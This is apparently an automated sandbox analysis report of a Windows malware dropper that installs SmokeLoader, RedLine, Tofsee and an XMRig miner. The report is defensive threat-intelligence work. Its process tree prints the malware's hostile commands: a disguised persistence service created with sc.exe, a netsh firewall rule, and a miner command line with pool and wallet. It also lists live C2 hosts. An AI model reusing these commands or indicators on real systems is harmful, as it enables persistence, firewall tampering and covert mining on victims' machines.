Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2022 03:35

General

  • Target

    06106d568543ad90a9da7b4bf86586c188490dd2d7e3825a0850d14208870af7.exe

  • Size

    196KB

  • MD5

    6ffb228fe183dd2f5642897500d32a06

  • SHA1

    3cc879eb01b16a64528edc03c7330f7602a02644

  • SHA256

    06106d568543ad90a9da7b4bf86586c188490dd2d7e3825a0850d14208870af7

  • SHA512

    be0670ff9b38b0ab954998273a535024bb9a9dbccb90cf9190a6c8b14c569ed3b8abb39b147b79dc34ab5e554a832d2280758dc2aedde6bb45d0125febfb6a52

  • SSDEEP

    3072:ZuEvsLeNYxNN5S+4S90qeRMd4gmrCIfZGHne3BVIc6/PkkXx:ELtxN8CdYfsHi

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @me_golds)

C2

77.73.134.27:7161

Attributes
  • auth_value

    e136da06c7c0400f4091dab1787720ea

Signatures

  • Detects Smokeloader packer 3 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\06106d568543ad90a9da7b4bf86586c188490dd2d7e3825a0850d14208870af7.exe
    "C:\Users\Admin\AppData\Local\Temp\06106d568543ad90a9da7b4bf86586c188490dd2d7e3825a0850d14208870af7.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:5004
  • C:\Users\Admin\AppData\Local\Temp\6716.exe
    C:\Users\Admin\AppData\Local\Temp\6716.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    PID:1996
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:101428
  • C:\Users\Admin\AppData\Local\Temp\69D7.exe
    C:\Users\Admin\AppData\Local\Temp\69D7.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oybzotzb\
      2⤵
        PID:35368
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oraxzrhk.exe" C:\Windows\SysWOW64\oybzotzb\
        2⤵
          PID:36068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oybzotzb binPath= "C:\Windows\SysWOW64\oybzotzb\oraxzrhk.exe /d\"C:\Users\Admin\AppData\Local\Temp\69D7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:37524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oybzotzb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:39832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oybzotzb
          2⤵
          • Launches sc.exe
          PID:45488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:48304
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5316 -s 1188
          2⤵
          • Program crash
          PID:48704
      • C:\Users\Admin\AppData\Local\Temp\6ED9.exe
        C:\Users\Admin\AppData\Local\Temp\6ED9.exe
        1⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        • Suspicious behavior: MapViewOfSection
        PID:34540
      • C:\Users\Admin\AppData\Local\Temp\70FD.exe
        C:\Users\Admin\AppData\Local\Temp\70FD.exe
        1⤵
        • Executes dropped EXE
        PID:35264
      • C:\Users\Admin\AppData\Local\Temp\72F2.exe
        C:\Users\Admin\AppData\Local\Temp\72F2.exe
        1⤵
        • Executes dropped EXE
        PID:35456
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:36312
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:39804
          • C:\Windows\SysWOW64\oybzotzb\oraxzrhk.exe
            C:\Windows\SysWOW64\oybzotzb\oraxzrhk.exe /d"C:\Users\Admin\AppData\Local\Temp\69D7.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:47388
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              2⤵
              • Sets service image path in registry
              • Drops file in System32 directory
              • Suspicious use of SetThreadContext
              • Modifies data under HKEY_USERS
              PID:50916
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:102116
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:48256
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5316 -ip 5316
              1⤵
                PID:48424
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:48820
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:54040
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:70784
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:88984
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:101536
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:101628
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                            • Accesses Microsoft Outlook profiles
                            • outlook_office_path
                            • outlook_win_path
                            PID:102344
                          • C:\Windows\explorer.exe
                            C:\Windows\explorer.exe
                            1⤵
                              PID:102392
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:101456

                              Network

                              MITRE ATT&CK Matrix ATT&CK v6

                              Persistence

                              New Service

                              1
                              T1050

                              Modify Existing Service

                              1
                              T1031

                              Registry Run Keys / Startup Folder

                              1
                              T1060

                              Privilege Escalation

                              New Service

                              1
                              T1050

                              Defense Evasion

                              Modify Registry

                              1
                              T1112

                              Credential Access

                              Credentials in Files

                              1
                              T1081

                              Discovery

                              Query Registry

                              2
                              T1012

                              System Information Discovery

                              3
                              T1082

                              Peripheral Device Discovery

                              1
                              T1120

                              Collection

                              Email Collection

                              1
                              T1114

                              Data from Local System

                              1
                              T1005

                              Command and Control

                              Web Service

                              1
                              T1102

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Temp\6716.exe
                                Filesize

                                2.6MB

                                MD5

                                ea6fee4ce432602e3dd2b849f8396027

                                SHA1

                                5151b46012f637fe7fdbda551be1651009eb453a

                                SHA256

                                b44181d7365ab6868e1cf0d7127a56862075944099f6f1f965b11f41c78fd75d

                                SHA512

                                b567449c006248a4311a1a3325279e2d4edfacacb272ae3152b085d3164e722370aa748cbaa3299425ede1e4910218988e88f24de744944903b2001b70e263be

                              • C:\Users\Admin\AppData\Local\Temp\6716.exe
                                Filesize

                                2.6MB

                                MD5

                                ea6fee4ce432602e3dd2b849f8396027

                                SHA1

                                5151b46012f637fe7fdbda551be1651009eb453a

                                SHA256

                                b44181d7365ab6868e1cf0d7127a56862075944099f6f1f965b11f41c78fd75d

                                SHA512

                                b567449c006248a4311a1a3325279e2d4edfacacb272ae3152b085d3164e722370aa748cbaa3299425ede1e4910218988e88f24de744944903b2001b70e263be

                              • C:\Users\Admin\AppData\Local\Temp\69D7.exe
                                Filesize

                                196KB

                                MD5

                                80f7f20b3e77f7e38f8cf7c0ef2bdfe1

                                SHA1

                                ea633e8ccf50d11e0d354b4b779b5418f2b30e9f

                                SHA256

                                f15feded81362a25916c93cd106181eab1810c4ed1f11ec8b72599870b21a289

                                SHA512

                                de5fa1ebd0cd1bb4216300c10d09c8205ef415883ca4ffc1821ab13a2f23c5adab2d07b77ec0bcb3926a2306919910d6d80f00283ba58f13ee271be3f801db11

                              • C:\Users\Admin\AppData\Local\Temp\69D7.exe
                                Filesize

                                196KB

                                MD5

                                80f7f20b3e77f7e38f8cf7c0ef2bdfe1

                                SHA1

                                ea633e8ccf50d11e0d354b4b779b5418f2b30e9f

                                SHA256

                                f15feded81362a25916c93cd106181eab1810c4ed1f11ec8b72599870b21a289

                                SHA512

                                de5fa1ebd0cd1bb4216300c10d09c8205ef415883ca4ffc1821ab13a2f23c5adab2d07b77ec0bcb3926a2306919910d6d80f00283ba58f13ee271be3f801db11

                              • C:\Users\Admin\AppData\Local\Temp\6ED9.exe
                                Filesize

                                187KB

                                MD5

                                ed89332cb4fb426b7e9ad5d8853be58f

                                SHA1

                                4c6dbd10b19dd0a53d76bc8ca8c5df055a5f0ccc

                                SHA256

                                56c77e5efa069fdbea2beaf1cbb234735d6aa70eba0fe50b736ab5f9bbe6e69a

                                SHA512

                                9f23967e804be45bf892f7c1c1590efe633ae34ddb4d953f8a29ea14febdda51ae217e9c38e59acbbf9e578d5564fd50d6239d15b57495884adfd07ece988862

                              • C:\Users\Admin\AppData\Local\Temp\6ED9.exe
                                Filesize

                                187KB

                                MD5

                                ed89332cb4fb426b7e9ad5d8853be58f

                                SHA1

                                4c6dbd10b19dd0a53d76bc8ca8c5df055a5f0ccc

                                SHA256

                                56c77e5efa069fdbea2beaf1cbb234735d6aa70eba0fe50b736ab5f9bbe6e69a

                                SHA512

                                9f23967e804be45bf892f7c1c1590efe633ae34ddb4d953f8a29ea14febdda51ae217e9c38e59acbbf9e578d5564fd50d6239d15b57495884adfd07ece988862

                              • C:\Users\Admin\AppData\Local\Temp\70FD.exe
                                Filesize

                                318KB

                                MD5

                                8847fd7c28ee0949e043d366dd25bf06

                                SHA1

                                2f3bbf581e73a711743b42fb3df0600f5ea52e26

                                SHA256

                                37950a01f74f84977bc72f00fbc46e0b540a46f729f2bbf76be842432180505c

                                SHA512

                                0acb9d9b3c1a9c9137bb0e0cb0152ca5ce5fc41b2084222ec1e9481d1535bdbeef2163fa0e4e1af72566a49669613c115d2144a42848071b16715e4d36a355b2

                              • C:\Users\Admin\AppData\Local\Temp\70FD.exe
                                Filesize

                                318KB

                                MD5

                                8847fd7c28ee0949e043d366dd25bf06

                                SHA1

                                2f3bbf581e73a711743b42fb3df0600f5ea52e26

                                SHA256

                                37950a01f74f84977bc72f00fbc46e0b540a46f729f2bbf76be842432180505c

                                SHA512

                                0acb9d9b3c1a9c9137bb0e0cb0152ca5ce5fc41b2084222ec1e9481d1535bdbeef2163fa0e4e1af72566a49669613c115d2144a42848071b16715e4d36a355b2

                              • C:\Users\Admin\AppData\Local\Temp\72F2.exe
                                Filesize

                                365KB

                                MD5

                                192a37d1c0d8008d4eab971801ce4f5f

                                SHA1

                                597bba51535c2917250c2e7437217be17cc9b35e

                                SHA256

                                5bf16a50e76443746ef25fdd8f72f8e78dca9becd4ed2c298046c9b11c2655ce

                                SHA512

                                b58d8cb7a00562e5355c78418f5518e38877d37b39029bb72015e4e29579b3ca0294c7651d030e127c3401051438faafba58b907e57cfd27fcfa354e388ba171

                              • C:\Users\Admin\AppData\Local\Temp\72F2.exe
                                Filesize

                                365KB

                                MD5

                                192a37d1c0d8008d4eab971801ce4f5f

                                SHA1

                                597bba51535c2917250c2e7437217be17cc9b35e

                                SHA256

                                5bf16a50e76443746ef25fdd8f72f8e78dca9becd4ed2c298046c9b11c2655ce

                                SHA512

                                b58d8cb7a00562e5355c78418f5518e38877d37b39029bb72015e4e29579b3ca0294c7651d030e127c3401051438faafba58b907e57cfd27fcfa354e388ba171

                              • C:\Users\Admin\AppData\Local\Temp\oraxzrhk.exe
                                Filesize

                                10.3MB

                                MD5

                                3a207e93e05389436d1fcfc2294b67d2

                                SHA1

                                6133bf2a58c630eb24201bc085b80ddc086214d2

                                SHA256

                                6250b3243e99fcf0ed9732cbdc66a9c5831619309ffd5a0061e46be7a0e295f6

                                SHA512

                                e156bdb42b5f035835b5312e63fe9176b05553ee3078499dd5e8cd617ed5376693a28acac08d7ec9959527b687e6eab3e62d9a32ee77287702a100ed78246893

                              • C:\Windows\SysWOW64\oybzotzb\oraxzrhk.exe
                                Filesize

                                10.3MB

                                MD5

                                3a207e93e05389436d1fcfc2294b67d2

                                SHA1

                                6133bf2a58c630eb24201bc085b80ddc086214d2

                                SHA256

                                6250b3243e99fcf0ed9732cbdc66a9c5831619309ffd5a0061e46be7a0e295f6

                                SHA512

                                e156bdb42b5f035835b5312e63fe9176b05553ee3078499dd5e8cd617ed5376693a28acac08d7ec9959527b687e6eab3e62d9a32ee77287702a100ed78246893

                              • memory/1996-136-0x0000000000000000-mapping.dmp
                              • memory/5004-133-0x0000000000720000-0x0000000000729000-memory.dmp
                                Filesize

                                36KB

                              • memory/5004-135-0x0000000000400000-0x000000000058B000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/5004-134-0x0000000000400000-0x000000000058B000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/5004-132-0x0000000000778000-0x0000000000789000-memory.dmp
                                Filesize

                                68KB

                              • memory/5316-147-0x0000000000400000-0x000000000058B000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/5316-145-0x0000000000919000-0x000000000092A000-memory.dmp
                                Filesize

                                68KB

                              • memory/5316-146-0x00000000006D0000-0x00000000006E3000-memory.dmp
                                Filesize

                                76KB

                              • memory/5316-174-0x0000000000919000-0x000000000092A000-memory.dmp
                                Filesize

                                68KB

                              • memory/5316-176-0x0000000000400000-0x000000000058B000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/5316-139-0x0000000000000000-mapping.dmp
                              • memory/34540-156-0x00000000006D0000-0x00000000006D9000-memory.dmp
                                Filesize

                                36KB

                              • memory/34540-155-0x00000000008F8000-0x0000000000909000-memory.dmp
                                Filesize

                                68KB

                              • memory/34540-157-0x0000000000400000-0x0000000000589000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/34540-142-0x0000000000000000-mapping.dmp
                              • memory/34540-187-0x0000000000400000-0x0000000000589000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/35264-148-0x0000000000000000-mapping.dmp
                              • memory/35368-151-0x0000000000000000-mapping.dmp
                              • memory/35456-152-0x0000000000000000-mapping.dmp
                              • memory/36068-158-0x0000000000000000-mapping.dmp
                              • memory/36312-212-0x00000000006F0000-0x00000000006F7000-memory.dmp
                                Filesize

                                28KB

                              • memory/36312-163-0x00000000006E0000-0x00000000006EB000-memory.dmp
                                Filesize

                                44KB

                              • memory/36312-162-0x00000000006F0000-0x00000000006F7000-memory.dmp
                                Filesize

                                28KB

                              • memory/36312-159-0x0000000000000000-mapping.dmp
                              • memory/37524-161-0x0000000000000000-mapping.dmp
                              • memory/39804-164-0x0000000000000000-mapping.dmp
                              • memory/39804-213-0x00000000005D0000-0x00000000005D9000-memory.dmp
                                Filesize

                                36KB

                              • memory/39804-169-0x00000000005C0000-0x00000000005CF000-memory.dmp
                                Filesize

                                60KB

                              • memory/39804-168-0x00000000005D0000-0x00000000005D9000-memory.dmp
                                Filesize

                                36KB

                              • memory/39832-165-0x0000000000000000-mapping.dmp
                              • memory/45488-166-0x0000000000000000-mapping.dmp
                              • memory/47388-180-0x0000000000783000-0x0000000000793000-memory.dmp
                                Filesize

                                64KB

                              • memory/47388-182-0x0000000000400000-0x000000000058B000-memory.dmp
                                Filesize

                                1.5MB

                              • memory/48256-170-0x0000000000000000-mapping.dmp
                              • memory/48256-172-0x0000000001250000-0x0000000001255000-memory.dmp
                                Filesize

                                20KB

                              • memory/48256-173-0x0000000001240000-0x0000000001249000-memory.dmp
                                Filesize

                                36KB

                              • memory/48256-214-0x0000000001250000-0x0000000001255000-memory.dmp
                                Filesize

                                20KB

                              • memory/48304-171-0x0000000000000000-mapping.dmp
                              • memory/48820-184-0x0000000000520000-0x000000000052C000-memory.dmp
                                Filesize

                                48KB

                              • memory/48820-217-0x0000000000530000-0x0000000000536000-memory.dmp
                                Filesize

                                24KB

                              • memory/48820-175-0x0000000000000000-mapping.dmp
                              • memory/48820-183-0x0000000000530000-0x0000000000536000-memory.dmp
                                Filesize

                                24KB

                              • memory/50916-228-0x00000000005F0000-0x0000000000600000-memory.dmp
                                Filesize

                                64KB

                              • memory/50916-235-0x0000000007200000-0x000000000760B000-memory.dmp
                                Filesize

                                4.0MB

                              • memory/50916-232-0x00000000019E0000-0x00000000019E5000-memory.dmp
                                Filesize

                                20KB

                              • memory/50916-185-0x0000000000400000-0x0000000000415000-memory.dmp
                                Filesize

                                84KB

                              • memory/50916-225-0x00000000005E0000-0x00000000005E6000-memory.dmp
                                Filesize

                                24KB

                              • memory/50916-222-0x0000000002200000-0x000000000240F000-memory.dmp
                                Filesize

                                2.1MB

                              • memory/50916-218-0x0000000000400000-0x0000000000415000-memory.dmp
                                Filesize

                                84KB

                              • memory/50916-178-0x0000000000400000-0x0000000000415000-memory.dmp
                                Filesize

                                84KB

                              • memory/50916-177-0x0000000000000000-mapping.dmp
                              • memory/50916-238-0x00000000019F0000-0x00000000019F7000-memory.dmp
                                Filesize

                                28KB

                              • memory/54040-188-0x0000000000C00000-0x0000000000C22000-memory.dmp
                                Filesize

                                136KB

                              • memory/54040-186-0x0000000000000000-mapping.dmp
                              • memory/54040-189-0x00000000009B0000-0x00000000009D7000-memory.dmp
                                Filesize

                                156KB

                              • memory/54040-229-0x0000000000C00000-0x0000000000C22000-memory.dmp
                                Filesize

                                136KB

                              • memory/70784-192-0x00000000007A0000-0x00000000007A9000-memory.dmp
                                Filesize

                                36KB

                              • memory/70784-248-0x00000000007B0000-0x00000000007B5000-memory.dmp
                                Filesize

                                20KB

                              • memory/70784-190-0x0000000000000000-mapping.dmp
                              • memory/70784-191-0x00000000007B0000-0x00000000007B5000-memory.dmp
                                Filesize

                                20KB

                              • memory/88984-200-0x0000000000A20000-0x0000000000A26000-memory.dmp
                                Filesize

                                24KB

                              • memory/88984-193-0x0000000000000000-mapping.dmp
                              • memory/88984-249-0x0000000000A20000-0x0000000000A26000-memory.dmp
                                Filesize

                                24KB

                              • memory/88984-201-0x0000000000A10000-0x0000000000A1B000-memory.dmp
                                Filesize

                                44KB

                              • memory/101428-204-0x0000000004EB0000-0x0000000004FBA000-memory.dmp
                                Filesize

                                1.0MB

                              • memory/101428-206-0x0000000004E40000-0x0000000004E7C000-memory.dmp
                                Filesize

                                240KB

                              • memory/101428-216-0x0000000005210000-0x00000000052A2000-memory.dmp
                                Filesize

                                584KB

                              • memory/101428-194-0x0000000000000000-mapping.dmp
                              • memory/101428-219-0x00000000052B0000-0x0000000005316000-memory.dmp
                                Filesize

                                408KB

                              • memory/101428-195-0x0000000000400000-0x0000000000428000-memory.dmp
                                Filesize

                                160KB

                              • memory/101428-220-0x0000000005E30000-0x0000000005EA6000-memory.dmp
                                Filesize

                                472KB

                              • memory/101428-221-0x0000000005EB0000-0x0000000005F00000-memory.dmp
                                Filesize

                                320KB

                              • memory/101428-203-0x0000000005350000-0x0000000005968000-memory.dmp
                                Filesize

                                6.1MB

                              • memory/101428-253-0x00000000087D0000-0x0000000008CFC000-memory.dmp
                                Filesize

                                5.2MB

                              • memory/101428-252-0x0000000006A80000-0x0000000006C42000-memory.dmp
                                Filesize

                                1.8MB

                              • memory/101428-205-0x0000000004DE0000-0x0000000004DF2000-memory.dmp
                                Filesize

                                72KB

                              • memory/101428-215-0x0000000005F20000-0x00000000064C4000-memory.dmp
                                Filesize

                                5.6MB

                              • memory/101456-262-0x0000000000B60000-0x0000000000B82000-memory.dmp
                                Filesize

                                136KB

                              • memory/101456-261-0x0000000000B30000-0x0000000000B57000-memory.dmp
                                Filesize

                                156KB

                              • memory/101456-259-0x0000000000000000-mapping.dmp
                              • memory/101456-260-0x0000000000B60000-0x0000000000B82000-memory.dmp
                                Filesize

                                136KB

                              • memory/101536-207-0x0000000000FF0000-0x0000000000FF7000-memory.dmp
                                Filesize

                                28KB

                              • memory/101536-208-0x0000000000FE0000-0x0000000000FED000-memory.dmp
                                Filesize

                                52KB

                              • memory/101536-202-0x0000000000000000-mapping.dmp
                              • memory/101536-250-0x0000000000FF0000-0x0000000000FF7000-memory.dmp
                                Filesize

                                28KB

                              • memory/101628-211-0x0000000000780000-0x000000000078B000-memory.dmp
                                Filesize

                                44KB

                              • memory/101628-251-0x0000000000790000-0x0000000000798000-memory.dmp
                                Filesize

                                32KB

                              • memory/101628-209-0x0000000000000000-mapping.dmp
                              • memory/101628-210-0x0000000000790000-0x0000000000798000-memory.dmp
                                Filesize

                                32KB

                              • memory/102116-241-0x0000000000000000-mapping.dmp
                              • memory/102116-247-0x0000000000400000-0x00000000004F1000-memory.dmp
                                Filesize

                                964KB

                              • memory/102116-242-0x0000000000400000-0x00000000004F1000-memory.dmp
                                Filesize

                                964KB

                              • memory/102344-255-0x0000000000740000-0x00000000007B5000-memory.dmp
                                Filesize

                                468KB

                              • memory/102344-256-0x00000000006D0000-0x000000000073B000-memory.dmp
                                Filesize

                                428KB

                              • memory/102344-254-0x0000000000000000-mapping.dmp
                              • memory/102392-257-0x0000000000000000-mapping.dmp
                              • memory/102392-258-0x00000000006D0000-0x00000000006DC000-memory.dmp
                                Filesize

                                48KB